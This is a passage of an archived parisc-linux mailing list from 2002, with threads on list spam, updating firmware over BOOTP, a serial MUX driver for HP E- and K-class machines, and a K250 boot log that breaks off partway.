List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16334

Well dudes, it's not the size of the boat that matters, it's the motion 
in the ocean !  ;o))


More seriously, isn't it possible to avoid such spam ?
It's becomming more and more regular...


-- 
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Want a Big Penis?
Date: Mon, 30 Sep 2002 08:05:35 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <2B45A04D8F18D947A400F0850CE3B53B060D2D@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621782 14941 80.91.229.3 (22 Nov 2014 02:03:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:02 +0000 (UTC)
To: "Thibaut VARENE" <varenet@esiee.fr>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 07:05:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 662BA4829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 07:05:42 -0600 (MDT)
Original-Received: from umr-mail7.umr.edu (umr-mail7.umr.edu [131.151.1.64]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id g8UD5aGs018530; Mon, 30 Sep 2002 08:05:36 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] Want a Big Penis?
Thread-Index: AcJogOQ8iKxbu755SH+PCtSLJIQn/QAARuxA
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16335

SpamAssassin w/ DCC + Razor is easy to set up and does a pretty good job
getting rid of most of the spam I get on a daily basis.=20

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Thibaut VARENE [mailto:varenet@esiee.fr]=20
> Sent: Monday, September 30, 2002 7:54 AM
> To: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] Want a Big Penis?
>=20
>=20
>=20
> Well dudes, it's not the size of the boat that matters, it's=20
> the motion=20
> in the ocean !  ;o))
>=20
>=20
> More seriously, isn't it possible to avoid such spam ?
> It's becomming more and more regular...
>=20
>=20
> --=20
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: 30 Sep 2002 09:10:22 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1033395024.454.3.camel@seventy>
References: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621782 14943 80.91.229.3 (22 Nov 2014 02:03:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 08:10:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0D414829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 08:10:27 -0600 (MDT)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id g8UEAM34009310;
	Mon, 30 Sep 2002 09:10:23 -0500
In-Reply-To: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16336

most of my 712's are ver 1.9 or 2.1 & they all work fine as far as i can
see with linux - is there any advantage to updating to 2.3 ?

or is this a case of 'if its not broken....'

James S


> The FAQ
> 	7. How can I check if the PDC (firmware) revision is the latest ?
> at
> 	http://www.parisc-linux.org/faq/index.html
> says nothing about updating the firmware using BOOTP.
> I think it should be put there since it works great and is very easy to
> do. I just upgraded a 712 from 2.1 to 2.3 using BOOTP.




From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Serial MUX
Date: Mon, 30 Sep 2002 17:03:09 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <02Sep30.171511cest.119078@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C26892.7D7308C0"
X-Trace: ger.gmane.org 1416621783 14945 80.91.229.3 (22 Nov 2014 02:03:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:03 +0000 (UTC)
To: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 09:03:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76BB54829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 09:03:19 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119078>; Mon, 30 Sep 2002 17:15:11 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16337

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C26892.7D7308C0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Christoph Plattner [mailto:christoph.plattner@gmx.at]
> 
> this driver is under development !
> This driver can be used on machines having a non-supported
> multi-serial interface like a E35/45/55 or some K-series
> machines. 

Does this indicate someone is trying to make linux on a E45 usefull? I've
one next to my desk (terrible noise from the disks or fan).

Unfortunately I cannot help developping, but I can do some testing.

> 
> The first and already tested driver is the PDC console
> driver, to use only port-0 of the multi serial board
> as console. Now an alternative native MUX driver 
> is under development, but this driver can currently 
> ONLY access port-0 (first port). The multi-line support
> is not coded yet, and some short tests by me show
> problems (machine hangs up !).
> 
> So you cannot access the multiple serial ports, so sorry.
> 
I only need it for console.


CBee

------_=_NextPart_001_01C26892.7D7308C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Serial MUX</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Christoph Plattner [<A =
HREF=3D"mailto:christoph.plattner@gmx.at">mailto:christoph.plattner@gmx.=
at</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; this driver is under development !</FONT>
<BR><FONT SIZE=3D2>&gt; This driver can be used on machines having a =
non-supported</FONT>
<BR><FONT SIZE=3D2>&gt; multi-serial interface like a E35/45/55 or some =
K-series</FONT>
<BR><FONT SIZE=3D2>&gt; machines. </FONT>
</P>

<P><FONT SIZE=3D2>Does this indicate someone is trying to make linux on =
a E45 usefull? I've one next to my desk (terrible noise from the disks =
or fan).</FONT></P>

<P><FONT SIZE=3D2>Unfortunately I cannot help developping, but I can do =
some testing.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The first and already tested driver is the PDC =
console</FONT>
<BR><FONT SIZE=3D2>&gt; driver, to use only port-0 of the multi serial =
board</FONT>
<BR><FONT SIZE=3D2>&gt; as console. Now an alternative native MUX =
driver </FONT>
<BR><FONT SIZE=3D2>&gt; is under development, but this driver can =
currently </FONT>
<BR><FONT SIZE=3D2>&gt; ONLY access port-0 (first port). The multi-line =
support</FONT>
<BR><FONT SIZE=3D2>&gt; is not coded yet, and some short tests by me =
show</FONT>
<BR><FONT SIZE=3D2>&gt; problems (machine hangs up !).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; So you cannot access the multiple serial ports, =
so sorry.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>I only need it for console.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C26892.7D7308C0--


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial MUX
Date: Mon, 30 Sep 2002 16:25:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020930162536.L18377@parcelfarce.linux.theplanet.co.uk>
References: <02Sep30.171511cest.119078@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621783 14948 80.91.229.3 (22 Nov 2014 02:03:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:03 +0000 (UTC)
Cc: 'parisc-linux maillist' <parisc-linux@parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 09:25:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A6674829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 09:25:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17w2QS-000828-00; Mon, 30 Sep 2002 16:25:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <02Sep30.171511cest.119078@ns.hiscom.nl>; from c.beerse@torex-hiscom.nl on Mon, Sep 30, 2002 at 05:03:09PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16338

From: Christoph Plattner [mailto:christoph.plattner@gmx.at]
> This driver can be used on machines having a non-supported
> multi-serial interface like a E35/45/55 or some K-series
> machines. 

slight misunderstanding: this driver supports almost all the
non-16550-compatible serial ports used on HP machines.  That includes E,
F-I, K-class and the optional console card used with some D & R class
machines.  It doesn't include "Burgundy", "Silverfox" or "Lego" console
devices.  I'm working on updating the hwdb to reflect this.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial MUX
Date: Mon, 30 Sep 2002 20:31:41 +0200
Organization: private
Lines: 57
Approved: news@gmane.org
Message-ID: <3D98988D.A0B86B5F@gmx.at>
References: <02Sep30.171511cest.119078@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621783 14949 80.91.229.3 (22 Nov 2014 02:03:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:03 +0000 (UTC)
Cc: 'parisc-linux maillist' <parisc-linux@parisc-linux.org>
To: Beerse@dsl2.external.hp.com,
	=?iso-8859-1?Q?Corn=E9?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 12:31:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6632C4829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 12:31:42 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020930183138.ZUEJ25370.viefep11-int.chello.at@gmx.at>;
          Mon, 30 Sep 2002 20:31:38 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16339

Hello,

yes, I want to have E55 (and familiy) supported fully,
and I try to help in development (so far it is possible,
it is hard to get access to HP documentation).

To use the E55 (or family) as a diskless server, it works
(so you can reduce noise at the meantime, the disks cannot
be accessed in Linux - yet !).

For such a diskless operation, you need
	- serial console
	- ethernet
	- core system
All three things are running under Linux.
Again, you can use the PDC CONSOLE driver OR the MUX driver.
Both are accessed via ttyB0 at the moment.

Christoph



> "Beerse, Corn" wrote:
> 
> > -----Original Message-----
> > From: Christoph Plattner [mailto:christoph.plattner@gmx.at]
> >
> > this driver is under development !
> > This driver can be used on machines having a non-supported
> > multi-serial interface like a E35/45/55 or some K-series
> > machines.
> 
> Does this indicate someone is trying to make linux on a E45 usefull?
> I've one next to my desk (terrible noise from the disks or fan).
> 
> Unfortunately I cannot help developping, but I can do some testing.
> 
> >
> > The first and already tested driver is the PDC console
> > driver, to use only port-0 of the multi serial board
> > as console. Now an alternative native MUX driver
> > is under development, but this driver can currently
> > ONLY access port-0 (first port). The multi-line support
> > is not coded yet, and some short tests by me show
> > problems (machine hangs up !).
> >
> > So you cannot access the multiple serial ports, so sorry.
> >
> I only need it for console.
> 
> CBee

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial MUX
Date: Mon, 30 Sep 2002 20:33:54 +0200
Organization: private
Lines: 34
Approved: news@gmane.org
Message-ID: <3D989912.9310A140@gmx.at>
References: <02Sep30.171511cest.119078@ns.hiscom.nl> <20020930162536.L18377@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621784 14953 80.91.229.3 (22 Nov 2014 02:03:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:04 +0000 (UTC)
Cc: 'parisc-linux maillist' <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 12:34:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC4EF484B
	for <parisc-linux@parisc-linux.org>; Mon, 30 Sep 2002 12:33:57 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020930183354.BSSE24360.viefep13-int.chello.at@gmx.at>;
          Mon, 30 Sep 2002 20:33:54 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16340

Oh sorry, that's beautiful, that there are so much
machines with the same device type. My knowledge was
here not complete. I only knew the state of the E55 
(family) and of this one K-class machine, Ryan has.

Christoph



Matthew Wilcox wrote:
> 
> From: Christoph Plattner [mailto:christoph.plattner@gmx.at]
> > This driver can be used on machines having a non-supported
> > multi-serial interface like a E35/45/55 or some K-series
> > machines.
> 
> slight misunderstanding: this driver supports almost all the
> non-16550-compatible serial ports used on HP machines.  That includes E,
> F-I, K-class and the optional console card used with some D & R class
> machines.  It doesn't include "Burgundy", "Silverfox" or "Lego" console
> devices.  I'm working on updating the hwdb to reflect this.
> 
> --
> Revolutions do not require corporate support.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian Soiland <stain@itea.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack problem?
Date: Mon, 30 Sep 2002 22:08:05 +0200
Lines: 998
Approved: news@gmane.org
Message-ID: <20020930200805.GA9133@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621784 14959 80.91.229.3 (22 Nov 2014 02:03:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:08:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brev.stud.ntnu.no (brev.stud.ntnu.no [129.241.56.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD4814829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:08:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by brev.stud.ntnu.no (Postfix) with ESMTP
	id 750D313EE3E; Mon, 30 Sep 2002 22:08:06 +0200 (CEST)
Original-Received: from lama.stud.ntnu.no (lama.stud.ntnu.no [129.241.56.38])
	by brev.stud.ntnu.no (Postfix) with ESMTP
	id 7998613ED75; Mon, 30 Sep 2002 22:08:05 +0200 (CEST)
Original-Received: (from stain@localhost)
	by lama.stud.ntnu.no (8.11.6/8.10.0.Beta12) id g8UK85110518;
	Mon, 30 Sep 2002 22:08:05 +0200 (MEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16341

I've got this K250, this is the one:

  http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3DK250=20

And trying to boot it with several of the premade images:

debian_3.0r0_hppa.iso
palinux-2.4.19-pa6-PDC-20020826-netinst.iso
palinux-2.4.19-pa19-20020922-netinst.iso

I only have a serial interface with a HP terminal, as far as I can tell
there is no way to connect a seperate monitor, although there are PS2
inputs for mouse and keyboard.

The serial console is connected to 'CONSOLE (X/4/0/0)*',=20
not the 'MDP'-port (as far as I can tell that is for an=20
external MUX?). It works fine from HPUX 10.20.

I've connected it to a terminal server for this session, though.

When trying to boot the CD I came pretty much further then
with earlier attempts (see previous postings by Rune Skillingstad,
appearing if you search on 'K250 linux' in Google).

However, first the trace of 0/vmlinuz32 from the newest netinst-image:

(there might be some lines missing as I needed to do some=20
cut-and-paste-tricks from my terminal server =3D)=20

Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=3Dtty=
S0
TERM=3Dvt102 palo_kernel=3D0/vmlinux32'
Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdisk from partition 0
ELF32 executable
Entry 00100098 first 00100000 n 6
Segment 0 load 00100000 size 2196688 mediaptr 0x1000
Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
Segment 2 load 00390000 size 255656 mediaptr 0x28d000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
Segment 5 load 00402048 size 110832 mediaptr 0x2d6048
                                                    =20
Loading ramdisk 2662244 bytes @ 1fd63000...
Branching to kernel entry point 0x00100098.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org
                                                                      =20
Linux version 2.4.19-32 (root@mkhppa3) (gcc version 3.0.4) #1 Sun Sep 22
15:49:25 CEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005a40 00000491 00000000 00000002 575b550e 100000f0 00000008 000000=
b2 000000b2 vers  00000205
CPUID vers 14 rev 9 (0x000001c9)
capabilities 0x3
model 9000/802/K250
Total Memory: 511 Mb
initrd: 2fd63000-2ffecf64
initrd: reserving 1fd63000-1ffecf64 (mem_max 1fffe000)
pagetable_init
On node 0 totalpages: 131070
zone(0): 131070 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0
TERM=3Dvt102 palo_kernel=3D0/vmlinux32
Console: colour dummy device 160x64
Calibrating delay loop... 319.48 BogoMIPS
Memory: 512220k available
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
